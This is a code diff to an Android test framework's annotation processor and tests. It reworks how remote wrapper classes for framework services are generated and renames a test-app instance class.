@@ -182,21 +195,19 @@
             TestAppReceiver testAppReceiver = receiverAnnotatedElements.iterator().next()
                     .getAnnotation(TestAppReceiver.class);
 
-
-            List<TypeElement> systemServiceClasses =
-                    extractClassesFromAnnotation(
-                            processingEnv.getTypeUtils(), testAppReceiver::systemServiceClasses);
+            FrameworkClass[] frameworkClasses = testAppReceiver.frameworkClasses();
 
             generateTargetedRemoteActivityInterface(neneActivityInterface);
             generateTargetedRemoteActivityImpl(neneActivityInterface);
             generateTargetedRemoteActivityWrapper(neneActivityInterface);
-            generateProvider(systemServiceClasses);
+            generateProvider(frameworkClasses);
             generateConfiguration();
 
             generateDpmParentWrapper(processingEnv.getElementUtils());
-            for (TypeElement systemServiceClass : systemServiceClasses) {
+            for (FrameworkClass frameworkClass : frameworkClasses) {
                 generateRemoteFrameworkClassWrapper(
-                        processingEnv.getElementUtils(), systemServiceClass);
+                        extractClassFromAnnotation(processingEnv.getTypeUtils(),
+                                frameworkClass::frameworkClass));
             }
         }
 
@@ -207,8 +218,7 @@
         return true;
     }
 
-    private void generateRemoteFrameworkClassWrapper(
-            Elements elements, TypeElement systemServiceClass) {
+    private void generateRemoteFrameworkClassWrapper(TypeElement systemServiceClass) {
         ClassName originalClassName = ClassName.get(systemServiceClass);
         ClassName interfaceClassName = ClassName.get(
                 originalClassName.packageName(),
@@ -219,7 +229,8 @@
         ClassName profileClassName = ClassName.get(
                 originalClassName.packageName(),
                 "Profile" + interfaceClassName.simpleName());
-        TypeElement interfaceElement = elements.getTypeElement(interfaceClassName.canonicalName());
+        TypeElement interfaceElement =
+                processingEnv.getElementUtils().getTypeElement(interfaceClassName.canonicalName());
 
         TypeSpec.Builder classBuilder =
                 TypeSpec.classBuilder(
@@ -246,7 +257,8 @@
                         profileClassName)
                 .build());
 
-        for (ExecutableElement method : getMethods(interfaceElement)) {
+        for (ExecutableElement method : getMethods(
+                interfaceElement, processingEnv.getElementUtils())) {
             MethodSpec.Builder methodBuilder =
                     MethodSpec.methodBuilder(method.getSimpleName().toString())
                             .returns(ClassName.get(method.getReturnType()))
@@ -260,17 +272,21 @@
             List<String> params = new ArrayList<>();
 
             for (VariableElement param : method.getParameters()) {
+
                 ParameterSpec parameterSpec =
                         ParameterSpec.builder(ClassName.get(param.asType()),
                                 param.getSimpleName().toString()).build();
+                methodBuilder.addParameter(parameterSpec);
+
+                if (param.asType().toString().equals("android.content.Context")) {
+                    // Context is auto-provided so not passed in
+                    continue;
+                }
 
                 params.add(param.getSimpleName().toString());
-
-                methodBuilder.addParameter(parameterSpec);
             }
 
 
-
             CodeBlock.Builder logicLambda = CodeBlock.builder()
                     .add("() -> {\n").indent()
                     .addStatement("mConnector.connect()");
@@ -286,6 +302,16 @@
                 logicLambda.addStatement("return new $T(mConnector, $L)",
                         REMOTE_DEVICE_POLICY_MANAGER_PARENT_WRAPPER_CLASSNAME,
                         String.join(", ", params));
+            } else if (method.getReturnType().toString().equals(
+                    "android.content.RemoteContentResolver")
+                    && method.getSimpleName().contentEquals("getContentResolver")) {
+                // Special case, we want to return a contnet resolver, but still call through to
+                // the other side for exceptions, etc.
+                logicLambda.addStatement(
+                        "mProfileClass.other().$L($L)",
+                        method.getSimpleName(), String.join(", ", params));
+                logicLambda.addStatement("return new $T(mConnector)",
+                        REMOTE_CONTENT_RESOLVER_WRAPPER_CLASSNAME);
             } else if (method.getReturnType().getKind().equals(TypeKind.VOID)) {
                 logicLambda.addStatement("mProfileClass.other().$L($L)", method.getSimpleName(),
                         String.join(", ", params));
@@ -310,7 +336,14 @@
 
             methodBuilder.nextControlFlow(
                     "catch ($T e)", PROFILE_RUNTIME_EXCEPTION_CLASSNAME)
-                    .addStatement("throw ($T) e.getCause()", RuntimeException.class)
+                    .addStatement("throw ($T) e.getCause()", RuntimeException.class);
+
+            for (TypeMirror m : method.getThrownTypes()) {
+                methodBuilder.nextControlFlow("catch ($T e)", m)
+                        .addStatement("throw e");
+            }
+
+            methodBuilder
                     .nextControlFlow("catch ($T e)", Throwable.class)
                     .addStatement(
                             "throw new $T($S, e)",
@@ -361,7 +394,7 @@
                 .addStatement("mProfileClass = $T.create(connector)", profileClassName)
                 .build());
 
-        for (ExecutableElement method : getMethods(interfaceElement)) {
+        for (ExecutableElement method : getMethods(interfaceElement, elements)) {
             MethodSpec.Builder methodBuilder =
                     MethodSpec.methodBuilder(method.getSimpleName().toString())
                             .returns(ClassName.get(method.getReturnType()))
@@ -411,6 +444,11 @@
                 methodBuilder.addStatement("return $L", runLogic);
             }
 
+            for (TypeMirror m : method.getThrownTypes()) {
+                methodBuilder.nextControlFlow("catch ($T e)", m)
+                        .addStatement("throw e");
+            }
+
             methodBuilder.nextControlFlow(
                     "catch ($T e)", PROFILE_RUNTIME_EXCEPTION_CLASSNAME)
                     .addStatement("throw ($T) e.getCause()", RuntimeException.class)
@@ -435,12 +473,16 @@
                         .addSuperinterface(TARGETED_REMOTE_ACTIVITY_CLASSNAME)
                         .addModifiers(Modifier.PUBLIC, Modifier.FINAL);
 
-        for (ExecutableElement method : getMethods(neneActivityInterface)) {
+        for (ExecutableElement method : getMethods(neneActivityInterface,
+                processingEnv.getElementUtils())) {
             MethodSpec.Builder methodBuilder =
                     MethodSpec.methodBuilder(method.getSimpleName().toString())
                             .returns(ClassName.get(method.getReturnType()))
                             .addModifiers(Modifier.PUBLIC)
-                            .addAnnotation(Override.class);
+                            .addAnnotation(Override.class)
+                            .addExceptions(
+                                    method.getThrownTypes().stream().map(TypeName::get).collect(
+                                            Collectors.toSet()));
 
             methodBuilder.addParameter(
                     ParameterSpec.builder(String.class, "activityClassName").build());
@@ -498,13 +540,18 @@
                         PROFILE_TARGETED_REMOTE_ACTIVITY_CLASSNAME)
                 .build());
 
-        for (ExecutableElement method : getMethods(neneActivityInterface)) {
+        for (ExecutableElement method : getMethods(neneActivityInterface,
+                processingEnv.getElementUtils())) {
             MethodSpec.Builder methodBuilder =
                     MethodSpec.methodBuilder(method.getSimpleName().toString())
                             .returns(ClassName.get(method.getReturnType()))
                             .addModifiers(Modifier.PUBLIC)
                             .addAnnotation(Override.class);
 
+            for (TypeMirror m : method.getThrownTypes()) {
+                methodBuilder.addException(ClassName.get(m));
+            }
+
             methodBuilder.addParameter(
                     ParameterSpec.builder(String.class, "activityClassName").build());
 
@@ -549,7 +596,14 @@
 
             methodBuilder.nextControlFlow(
                     "catch ($T e)", PROFILE_RUNTIME_EXCEPTION_CLASSNAME)
-                    .addStatement("throw ($T) e.getCause()", RuntimeException.class)
+                    .addStatement("throw ($T) e.getCause()", RuntimeException.class);
+
+            for (TypeMirror m : method.getThrownTypes()) {
+                methodBuilder.nextControlFlow("catch ($T e)", m)
+                        .addStatement("throw e");
+            }
+
+            methodBuilder
                     .nextControlFlow("catch ($T e)", Throwable.class)
                     .addStatement(
                             "throw new $T($S, e)",
@@ -579,7 +633,7 @@
 
         classBuilder.addMethod(
                 MethodSpec.constructorBuilder()
-                        .addParameter(TEST_APP_INSTANCE_REFERENCE_CLASSNAME, "instance")
+                        .addParameter(TEST_APP_INSTANCE_CLASSNAME, "instance")
                         .addParameter(
                                 COMPONENT_REFERENCE_CLASSNAME, "component")
                         .addStatement("super(instance, component)")
@@ -589,12 +643,16 @@
                         .build());
 
 
-        for (ExecutableElement method : getMethods(neneActivityInterface)) {
+        for (ExecutableElement method : getMethods(neneActivityInterface,
+                processingEnv.getElementUtils())) {
             MethodSpec.Builder methodBuilder =
                     MethodSpec.methodBuilder(method.getSimpleName().toString())
                             .returns(ClassName.get(method.getReturnType()))
                             .addModifiers(Modifier.PUBLIC)
-                            .addAnnotation(Override.class);
+                            .addAnnotation(Override.class)
+                            .addExceptions(
+                                    method.getThrownTypes().stream().map(TypeName::get).collect(
+                                            Collectors.toSet()));
 
             String params = "mActivityClassName";
 
@@ -628,12 +686,16 @@
                         TARGETED_REMOTE_ACTIVITY_CLASSNAME)
                         .addModifiers(Modifier.PUBLIC);
 
-        for (ExecutableElement method : getMethods(neneActivityInterface)) {
+        for (ExecutableElement method : getMethods(neneActivityInterface,
+                processingEnv.getElementUtils())) {
             MethodSpec.Builder methodBuilder =
                     MethodSpec.methodBuilder(method.getSimpleName().toString())
                             .returns(ClassName.get(method.getReturnType()))
                             .addModifiers(Modifier.PUBLIC, Modifier.ABSTRACT)
-                            .addAnnotation(CrossProfile.class);
+                            .addAnnotation(CrossProfile.class)
+                            .addExceptions(
+                                    method.getThrownTypes().stream().map(TypeName::get).collect(
+                                            Collectors.toSet()));
 
             methodBuilder.addParameter(
                     ParameterSpec.builder(String.class, "activityClassName").build());
@@ -652,7 +714,7 @@
         writeClassToFile(PACKAGE_NAME, classBuilder.build());
     }
 
-    private void generateProvider(List<TypeElement> systemServiceClasses) {
+    private void generateProvider(FrameworkClass[] frameworkClasses) {
         TypeSpec.Builder classBuilder =
                 TypeSpec.classBuilder(
                         "Provider")
@@ -683,22 +745,14 @@
                         DEVICE_POLICY_MANAGER_CLASSNAME)
                 .build());
 
-        for (TypeElement systemServiceClass : systemServiceClasses) {
-            ClassName originalClassName = ClassName.get(systemServiceClass);
+        for (FrameworkClass frameworkClass : frameworkClasses) {
+            ClassName originalClassName = ClassName.get(extractClassFromAnnotation(
+                    processingEnv.getTypeUtils(), frameworkClass::frameworkClass));
             ClassName interfaceClassName = ClassName.get(
                     originalClassName.packageName(), "Remote" + originalClassName.simpleName());
             ClassName implClassName = ClassName.get(
                     originalClassName.packageName(), interfaceClassName.simpleName() + "Impl");
 
-            CodeBlock systemServiceGetterCode = CodeBlock.of(
-                    "context.getSystemService($T.class)", originalClassName);
-
-            if (systemServiceClass.asType().toString().equals(
-                    "android.content.pm.PackageManager")) {
-                // Special case - getSystemService will return null
-                systemServiceGetterCode = CodeBlock.of("context.getPackageManager()");
-            }
-
             classBuilder.addMethod(
                     MethodSpec.methodBuilder("provide" + interfaceClassName.simpleName())
                             .returns(interfaceClassName)
@@ -706,7 +760,7 @@
                             .addAnnotation(CrossProfileProvider.class)
                             .addParameter(CONTEXT_CLASSNAME, "context")
                             .addCode("return new $T($L);",
-                                    implClassName, systemServiceGetterCode)
+                                    implClassName, frameworkClass.constructor())
                             .build());
         }
 
@@ -741,10 +795,31 @@
         }
     }
 
-    private Set<ExecutableElement> getMethods(TypeElement interfaceClass) {
-        return interfaceClass.getEnclosedElements().stream()
+    private Set<ExecutableElement> getMethods(TypeElement interfaceClass, Elements elements) {
+        Map<String, ExecutableElement> methods = new HashMap<>();
+        getMethods(methods, interfaceClass, elements);
+        return new HashSet<>(methods.values());
+    }
+
+    private void getMethods(Map<String, ExecutableElement> methods, TypeElement interfaceClass,
+            Elements elements) {
+        interfaceClass.getEnclosedElements().stream()
                 .filter(e -> e instanceof ExecutableElement)
                 .map(e -> (ExecutableElement) e)
-                .collect(Collectors.toSet());
+                .filter(e -> !methods.containsKey(e.getSimpleName().toString()))
+                .filter(e -> e.getModifiers().contains(Modifier.PUBLIC))
+                .forEach(e -> {
+                    methods.put(methodHash(e), e);
+                });
+
+        interfaceClass.getInterfaces().stream()
+                .map(m -> elements.getTypeElement(m.toString()))
+                .forEach(m -> getMethods(methods, m, elements));
+    }
+
+    private String methodHash(ExecutableElement method) {
+        return method.getSimpleName() + "(" + method.getParameters().stream()
+                .map(p -> p.asType().toString()).collect(
+                Collectors.joining(",")) + ")";
     }
 }
diff --git a/common/device-side/bedstead/testapp/src/processor/main/java/com/android/bedstead/testapp/processor/annotations/FrameworkClass.java b/common/device-side/bedstead/testapp/src/processor/main/java/com/android/bedstead/testapp/processor/annotations/FrameworkClass.java
new file mode 100644
index 0000000..c1332a0
--- /dev/null
+++ b/common/device-side/bedstead/testapp/src/processor/main/java/com/android/bedstead/testapp/processor/annotations/FrameworkClass.java
@@ -0,0 +1,22 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.testapp.processor.annotations;
+
+public @interface FrameworkClass {
+    Class<?> frameworkClass();
+    String constructor();
+}
diff --git a/common/device-side/bedstead/testapp/src/processor/main/java/com/android/bedstead/testapp/processor/annotations/TestAppReceiver.java b/common/device-side/bedstead/testapp/src/processor/main/java/com/android/bedstead/testapp/processor/annotations/TestAppReceiver.java
index 9bdcef2..f456c0b 100644
--- a/common/device-side/bedstead/testapp/src/processor/main/java/com/android/bedstead/testapp/processor/annotations/TestAppReceiver.java
+++ b/common/device-side/bedstead/testapp/src/processor/main/java/com/android/bedstead/testapp/processor/annotations/TestAppReceiver.java
@@ -17,5 +17,5 @@
 package com.android.bedstead.testapp.processor.annotations;
 
 public @interface TestAppReceiver {
-    Class<?>[] systemServiceClasses();
+    FrameworkClass[] frameworkClasses();
 }
diff --git a/common/device-side/bedstead/testapp/src/test/java/com/android/bedstead/testapp/TestAppActivitiesTest.java b/common/device-side/bedstead/testapp/src/test/java/com/android/bedstead/testapp/TestAppActivitiesTest.java
index a4bc029..b185295 100644
--- a/common/device-side/bedstead/testapp/src/test/java/com/android/bedstead/testapp/TestAppActivitiesTest.java
+++ b/common/device-side/bedstead/testapp/src/test/java/com/android/bedstead/testapp/TestAppActivitiesTest.java
@@ -52,21 +52,21 @@
                     activity().activityClass().className().isEqualTo(NON_EXISTING_ACTIVITY)
             )
             .get();
-    private static TestAppInstanceReference mTestAppInstance;
+    private static TestAppInstance sTestAppInstance;
 
     @Before
     public void setup() {
-        mTestAppInstance = sTestApp.install(sUser);
+        sTestAppInstance = sTestApp.install(sUser);
     }
 
     @After
     public void teardown() {
-        mTestAppInstance.uninstall();
+        sTestAppInstance.uninstall();
     }
 
     @Test
     public void query_matchesActivity_returnsActivity() {
-        TestAppActivityReference activity = mTestAppInstance.activities().query()
+        TestAppActivityReference activity = sTestAppInstance.activities().query()
                     .whereActivity().activityClass().className().isEqualTo(EXISTING_ACTIVITY)
                     .get();
 
@@ -75,12 +75,12 @@
 
     @Test
     public void query_matchesPreviouslyReturnedActivity_throwsException() {
-        mTestAppInstance.activities().query()
+        sTestAppInstance.activities().query()
                 .whereActivity().activityClass().className().isEqualTo(EXISTING_ACTIVITY)
                 .get();
 
         assertThrows(IllegalStateException.class, () ->
-                mTestAppInstance.activities().query()
+                sTestAppInstance.activities().query()
                         .whereActivity().activityClass().className().isEqualTo(EXISTING_ACTIVITY)
                         .get());
     }
@@ -88,7 +88,7 @@
     @Test
     public void query_doesNotMatchActivity_throwsException() {
         assertThrows(IllegalStateException.class, () ->
-                mTestAppInstance.activities().query()
+                sTestAppInstance.activities().query()
                         .whereActivity().activityClass().className()
                             .isEqualTo(NON_EXISTING_ACTIVITY)
                         .get());
@@ -96,18 +96,18 @@
 
     @Test
     public void any_returnsActivity() {
-        TestAppActivityReference activity = mTestAppInstance.activities().any();
+        TestAppActivityReference activity = sTestAppInstance.activities().any();
 
         assertThat(activity).isNotNull();
     }
 
     @Test
     public void query_matchesActivityPreviouslyReturnedByDifferentInstance_returnsActivity() {
-        mTestAppInstance.activities().query()
+        sTestAppInstance.activities().query()
                 .whereActivity().activityClass().className().isEqualTo(EXISTING_ACTIVITY)
                 .get();
 
-        TestAppInstanceReference testAppInstance2 = sTestApp.instance(sUser);
+        TestAppInstance testAppInstance2 = sTestApp.instance(sUser);
 
         assertThat(
                 testAppInstance2.activities().query()
diff --git a/common/device-side/bedstead/testapp/src/test/java/com/android/bedstead/testapp/TestAppActivityReferenceTest.java b/common/device-side/bedstead/testapp/src/test/java/com/android/bedstead/testapp/TestAppActivityReferenceTest.java
index 93276b8..4a524f3 100644
--- a/common/device-side/bedstead/testapp/src/test/java/com/android/bedstead/testapp/TestAppActivityReferenceTest.java
+++ b/common/device-side/bedstead/testapp/src/test/java/com/android/bedstead/testapp/TestAppActivityReferenceTest.java
@@ -54,7 +54,7 @@
     @IncludeRunOnProfileOwnerProfileWithNoDeviceOwner
     public void start_activityIsStarted() {
         TestApp testApp = mTestAppProvider.query().whereActivities().isNotEmpty().get();
-        try (TestAppInstanceReference testAppInstance = testApp.install(sUser)) {
+        try (TestAppInstance testAppInstance = testApp.install(sUser)) {
             Activity<TestAppActivity> activity = testAppInstance.activities().any().start();
 
             assertThat(TestApis.activities().foregroundActivity()).isEqualTo(
@@ -65,7 +65,7 @@
     @Test
     public void remote_executes() {
         TestApp testApp = mTestAppProvider.query().whereActivities().isNotEmpty().get();
-        try (TestAppInstanceReference testAppInstance = testApp.install(sUser)) {
+        try (TestAppInstance testAppInstance = testApp.install(sUser)) {
             Activity<TestAppActivity> activity = testAppInstance.activities().any().start();
 
             assertThat(activity.activity().isFinishing()).isFalse();
diff --git a/common/device-side/bedstead/testapp/src/test/java/com/android/bedstead/testapp/TestAppInstanceReferenceTest.java b/common/device-side/bedstead/testapp/src/test/java/com/android/bedstead/testapp/TestAppInstanceTest.java
similarity index 79%
rename from common/device-side/bedstead/testapp/src/test/java/com/android/bedstead/testapp/TestAppInstanceReferenceTest.java
rename to common/device-side/bedstead/testapp/src/test/java/com/android/bedstead/testapp/TestAppInstanceTest.java
index c90cc45..9e7dcac 100644
--- a/common/device-side/bedstead/testapp/src/test/java/com/android/bedstead/testapp/TestAppInstanceReferenceTest.java
+++ b/common/device-side/bedstead/testapp/src/test/java/com/android/bedstead/testapp/TestAppInstanceTest.java
@@ -26,6 +26,7 @@
 
 import static org.testng.Assert.assertThrows;
 
+import android.app.admin.DevicePolicyManager;
 import android.content.Context;
 import android.content.Intent;
 import android.content.IntentFilter;
@@ -48,7 +49,7 @@
 import java.time.Duration;
 
 @RunWith(BedsteadJUnit4.class)
-public class TestAppInstanceReferenceTest {
+public class TestAppInstanceTest {
 
     @ClassRule
     @Rule
@@ -73,28 +74,28 @@
 
     @Test
     public void user_returnsUserReference() {
-        TestAppInstanceReference testAppInstance = sTestApp.instance(sUser);
+        TestAppInstance testAppInstance = sTestApp.instance(sUser);
 
         assertThat(testAppInstance.user()).isEqualTo(sUser);
     }
 
     @Test
     public void testApp_returnsTestApp() {
-        TestAppInstanceReference testAppInstance = sTestApp.instance(sUser);
+        TestAppInstance testAppInstance = sTestApp.instance(sUser);
 
         assertThat(testAppInstance.testApp()).isEqualTo(sTestApp);
     }
 
     @Test
     public void activities_any_returnsActivity() {
-        try (TestAppInstanceReference testAppInstance = sTestApp.install(sUser)) {
+        try (TestAppInstance testAppInstance = sTestApp.install(sUser)) {
             assertThat(testAppInstance.activities().any()).isNotNull();
         }
     }
 
     @Test
     public void uninstall_uninstalls() {
-        TestAppInstanceReference testAppInstance = sTestApp.install(sUser);
+        TestAppInstance testAppInstance = sTestApp.install(sUser);
 
         testAppInstance.uninstall();
 
@@ -104,7 +105,7 @@
 
     @Test
     public void autoclose_uninstalls() {
-        try (TestAppInstanceReference testAppInstance = sTestApp.install(sUser)) {
+        try (TestAppInstance testAppInstance = sTestApp.install(sUser)) {
             // Intentionally empty
         }
 
@@ -114,7 +115,7 @@
 
     @Test
     public void keepAlive_notInstalled_throwsException() {
-        TestAppInstanceReference testAppInstance = sTestApp.instance(sUser);
+        TestAppInstance testAppInstance = sTestApp.instance(sUser);
 
         assertThrows(IllegalStateException.class, testAppInstance::keepAlive);
     }
@@ -122,7 +123,7 @@
     @Test
     @Ignore("b/203758521 Need to re-add support for killing processes")
     public void killProcess_keepAlive_processIsRunningAgain() {
-        try (TestAppInstanceReference testAppInstance = sTestApp.install(sUser)) {
+        try (TestAppInstance testAppInstance = sTestApp.install(sUser)) {
             testAppInstance.keepAlive();
 
 //            testAppInstance.process().kill();
@@ -140,7 +141,7 @@
     @Test
     @Ignore("b/203758521 need to re-add support for killing processes")
     public void stop_processIsNotRunning() {
-        try (TestAppInstanceReference testAppInstance = sTestApp.install(sUser)) {
+        try (TestAppInstance testAppInstance = sTestApp.install(sUser)) {
             testAppInstance.activities().any().start();
 
 //            testAppInstance.stop();
@@ -152,7 +153,7 @@
     @Test
     @Ignore("b/203758521 need to re-add support for killing processes")
     public void stop_previouslyCalledKeepAlive_processDoesNotRestart() {
-        try (TestAppInstanceReference testAppInstance = sTestApp.install(sUser)) {
+        try (TestAppInstance testAppInstance = sTestApp.install(sUser)) {
             testAppInstance.activities().any().start();
             testAppInstance.keepAlive();
 
@@ -164,14 +165,14 @@
 
     @Test
     public void process_isNotRunning_returnsNull() {
-        try (TestAppInstanceReference testAppInstance = sTestApp.install(sUser)) {
+        try (TestAppInstance testAppInstance = sTestApp.install(sUser)) {
             assertThat(testAppInstance.process()).isNull();
         }
     }
 
     @Test
     public void process_isRunning_isNotNull() {
-        try (TestAppInstanceReference testAppInstance = sTestApp.install(sUser)) {
+        try (TestAppInstance testAppInstance = sTestApp.install(sUser)) {
             testAppInstance.activities().any().start();
 
             Poll.forValue("TestApp process", testAppInstance::process)
@@ -183,7 +184,7 @@
 
     @Test
     public void registerReceiver_receivesBroadcast() {
-        try (TestAppInstanceReference testAppInstance = sTestApp.install(sUser)) {
+        try (TestAppInstance testAppInstance = sTestApp.install(sUser)) {
             testAppInstance.registerReceiver(INTENT_FILTER);
 
             sContext.sendBroadcast(INTENT);
@@ -196,7 +197,7 @@
 
     @Test
     public void registerReceiver_multipleIntentFilters_receivesAllMatchingBroadcasts() {
-        try (TestAppInstanceReference testAppInstance = sTestApp.install(sUser)) {
+        try (TestAppInstance testAppInstance = sTestApp.install(sUser)) {
             testAppInstance.registerReceiver(INTENT_FILTER);
             testAppInstance.registerReceiver(INTENT_FILTER_2);
 
@@ -214,7 +215,7 @@
 
     @Test
     public void registerReceiver_processIsRunning() {
-        try (TestAppInstanceReference testAppInstance = sTestApp.install(sUser)) {
+        try (TestAppInstance testAppInstance = sTestApp.install(sUser)) {
 
             testAppInstance.registerReceiver(INTENT_FILTER);
 
@@ -225,7 +226,7 @@
     @Test
     @Ignore("b/203758521 need to re-add support for killing processes")
     public void stop_registeredReceiver_doesNotReceiveBroadcast() {
-        try (TestAppInstanceReference testAppInstance = sTestApp.install(sUser)) {
+        try (TestAppInstance testAppInstance = sTestApp.install(sUser)) {
             testAppInstance.registerReceiver(INTENT_FILTER);
 
 //            testAppInstance.stop();
@@ -240,7 +241,7 @@
 
     @Test
     public void unregisterReceiver_registeredReceiver_doesNotReceiveBroadcast() {
-        try (TestAppInstanceReference testAppInstance = sTestApp.install(sUser)) {
+        try (TestAppInstance testAppInstance = sTestApp.install(sUser)) {
             testAppInstance.registerReceiver(INTENT_FILTER);
 
             testAppInstance.unregisterReceiver(INTENT_FILTER);
@@ -255,7 +256,7 @@
 
     @Test
     public void unregisterReceiver_doesNotUnregisterOtherReceivers() {
-        try (TestAppInstanceReference testAppInstance = sTestApp.install(sUser)) {
+        try (TestAppInstance testAppInstance = sTestApp.install(sUser)) {
             testAppInstance.registerReceiver(INTENT_FILTER);
             testAppInstance.registerReceiver(INTENT_FILTER_2);
 
@@ -276,7 +277,7 @@
 
     @Test
     public void keepAlive_processIsRunning() {
-        try (TestAppInstanceReference testAppInstance = sTestApp.install(sUser)) {
+        try (TestAppInstance testAppInstance = sTestApp.install(sUser)) {
 
             testAppInstance.keepAlive();
 
@@ -287,7 +288,7 @@
     @Test
     @Ignore("b/203758521 need to re-add support for killing processes")
     public void registerReceiver_appIsKilled_stillReceivesBroadcast() {
-        try (TestAppInstanceReference testAppInstance = sTestApp.install(sUser)) {
+        try (TestAppInstance testAppInstance = sTestApp.install(sUser)) {
             testAppInstance.registerReceiver(INTENT_FILTER);
 //            testApp.pkg().runningProcess(sUser).kill();
             Poll.forValue("running process", () -> sTestApp.pkg().runningProcess(sUser))
@@ -307,7 +308,7 @@
     @Test
     @RequireSdkVersion(min = S, reason = "isSafeOperation only available on S+")
     public void devicePolicyManager_returnsUsableInstance() {
-        try (TestAppInstanceReference testAppInstance = sTestApp.install(sUser)) {
+        try (TestAppInstance testAppInstance = sTestApp.install(sUser)) {
             // Arbitrary call which does not require specific permissions to confirm no crash
             testAppInstance.devicePolicyManager()
                     .isSafeOperation(OPERATION_SAFETY_REASON_DRIVING_DISTRACTION);
@@ -316,7 +317,7 @@
 
     @Test
     public void userManager_returnsUsableInstance() {
-        try (TestAppInstanceReference testAppInstance = sTestApp.install(sUser)) {
+        try (TestAppInstance testAppInstance = sTestApp.install(sUser)) {
             // Arbitrary call which does not require specific permissions to confirm no crash
             testAppInstance.userManager().getUserProfiles();
         }
@@ -325,7 +326,7 @@
     @Test
     @RequireSdkVersion(min = Q, reason = "Wifimanager API only available on Q+")
     public void wifiManager_returnsUsableInstance() {
-        try (TestAppInstanceReference testAppInstance = sTestApp.install(sUser)) {
+        try (TestAppInstance testAppInstance = sTestApp.install(sUser)) {
             // Arbitrary call which does not require specific permissions to confirm no crash
             testAppInstance.wifiManager().getMaxNumberOfNetworkSuggestionsPerApp();
         }
@@ -333,7 +334,7 @@
 
     @Test
     public void hardwarePropertiesManager_returnsUsableInstance() {
-        try (TestAppInstanceReference testAppInstance = sTestApp.install(sUser)) {
+        try (TestAppInstance testAppInstance = sTestApp.install(sUser)) {
             // Arbitrary call - there are no methods on this service which don't require permissions
             assertThrows(SecurityException.class, () -> {
                 testAppInstance.hardwarePropertiesManager().getCpuUsages();
@@ -343,30 +344,54 @@
 
     @Test
     public void packageManager_returnsUsableInstance() {
-        try (TestAppInstanceReference testAppInstance = sTestApp.install(sUser)) {
+        try (TestAppInstance testAppInstance = sTestApp.install(sUser)) {
             assertThat(testAppInstance.packageManager().hasSystemFeature("")).isFalse();
         }
     }
 
     @Test
     public void crossProfileApps_returnsUsableInstance() {
-        try (TestAppInstanceReference testAppInstance = sTestApp.install(sUser)) {
+        try (TestAppInstance testAppInstance = sTestApp.install(sUser)) {
             assertThat(testAppInstance.crossProfileApps().getTargetUserProfiles()).isEmpty();
         }
     }
 
     @Test
     public void launcherApps_returnsUsableInstance() {
-        try (TestAppInstanceReference testAppInstance = sTestApp.install(sUser)) {
+        try (TestAppInstance testAppInstance = sTestApp.install(sUser)) {
             assertThat(testAppInstance.launcherApps().hasShortcutHostPermission()).isFalse();
         }
     }
 
     @Test
     public void accountManager_returnsUsableInstance() {
-        try (TestAppInstanceReference testAppInstance = sTestApp.install(sUser)) {
+        try (TestAppInstance testAppInstance = sTestApp.install(sUser)) {
             // Arbitrary call which does not require specific permissions to confirm no crash
             assertThat(testAppInstance.accountManager().getAccounts()).isNotNull();
         }
     }
+
+    @Test
+    public void context_returnsUsableInstance() {
+        try (TestAppInstance testAppInstance = sTestApp.install(sUser)) {
+            assertThat(testAppInstance.context().getSystemServiceName(DevicePolicyManager.class))
+                    .isEqualTo(Context.DEVICE_POLICY_SERVICE);
+        }
+    }
+
+    @Test
+    public void context_getContentResolver_returnsUsableInstance() {
+        try (TestAppInstance testAppInstance = sTestApp.install(sUser)) {
+            // Arbitrary call which does not require specific permissions to confirm no crash
+            assertThat(testAppInstance.context().getContentResolver().getPersistedUriPermissions())
+                    .isNotNull();
+        }
+    }
+
+    @Test
+    public void keyChain_returnsUsableInstance() {
+        try (TestAppInstance testAppInstance = sTestApp.install(sUser)) {
+            assertThat(testAppInstance.keyChain().isKeyAlgorithmSupported("A")).isFalse();
+        }
+    }
 }
diff --git a/common/device-side/bedstead/testapp/src/test/java/com/android/bedstead/testapp/TestAppTest.java b/common/device-side/bedstead/testapp/src/test/java/com/android/bedstead/testapp/TestAppTest.java
index 456d793..f9e8e34 100644
--- a/common/device-side/bedstead/testapp/src/test/java/com/android/bedstead/testapp/TestAppTest.java
+++ b/common/device-side/bedstead/testapp/src/test/java/com/android/bedstead/testapp/TestAppTest.java
@@ -95,7 +95,7 @@
         TestApp testApp = mTestAppProvider.any();
 
         try {
-            TestAppInstanceReference testAppInstance = testApp.install(sUser);
+            TestAppInstance testAppInstance = testApp.install(sUser);
 
             assertThat(testAppInstance.testApp()).isEqualTo(testApp);
             assertThat(testAppInstance.user()).isEqualTo(sUser);
@@ -122,7 +122,7 @@
         TestApp testApp = mTestAppProvider.any();
 
         try {
-            TestAppInstanceReference testAppInstance = testApp.install(sUserHandle);
+            TestAppInstance testAppInstance = testApp.install(sUserHandle);
 
             assertThat(testAppInstance.testApp()).isEqualTo(testApp);
             assertThat(testAppInstance.user()).isEqualTo(sUser);
@@ -149,7 +149,7 @@
     public void instance_userHandle_instanceIsNotInstalled_stillReturnsInstance() {
         TestApp testApp = mTestAppProvider.any();
 
-        TestAppInstanceReference testAppInstance = testApp.instance(sUserHandle);
+        TestAppInstance testAppInstance = testApp.instance(sUserHandle);
 
         assertThat(testAppInstance.testApp()).isEqualTo(testApp);
         assertThat(testAppInstance.user()).isEqualTo(sUser);
@@ -159,7 +159,7 @@
     public void instance_userReference_instanceIsNotInstalled_stillReturnsInstance() {
         TestApp testApp = mTestAppProvider.any();
 
-        TestAppInstanceReference testAppInstance = testApp.instance(sNonExistingUserHandle);
+        TestAppInstance testAppInstance = testApp.instance(sNonExistingUserHandle);
 
         assertThat(testAppInstance.testApp()).isEqualTo(testApp);
         assertThat(testAppInstance.user()).isEqualTo(sNonExistingUser);
@@ -169,7 +169,7 @@
     public void instance_userHandle_nonExistingUser_stillReturnsInstance() {
         TestApp testApp = mTestAppProvider.any();
 
-        TestAppInstanceReference testAppInstance = testApp.instance(sUserHandle);
+        TestAppInstance testAppInstance = testApp.instance(sUserHandle);
 
         assertThat(testAppInstance.testApp()).isEqualTo(testApp);
         assertThat(testAppInstance.user()).isEqualTo(sUser);
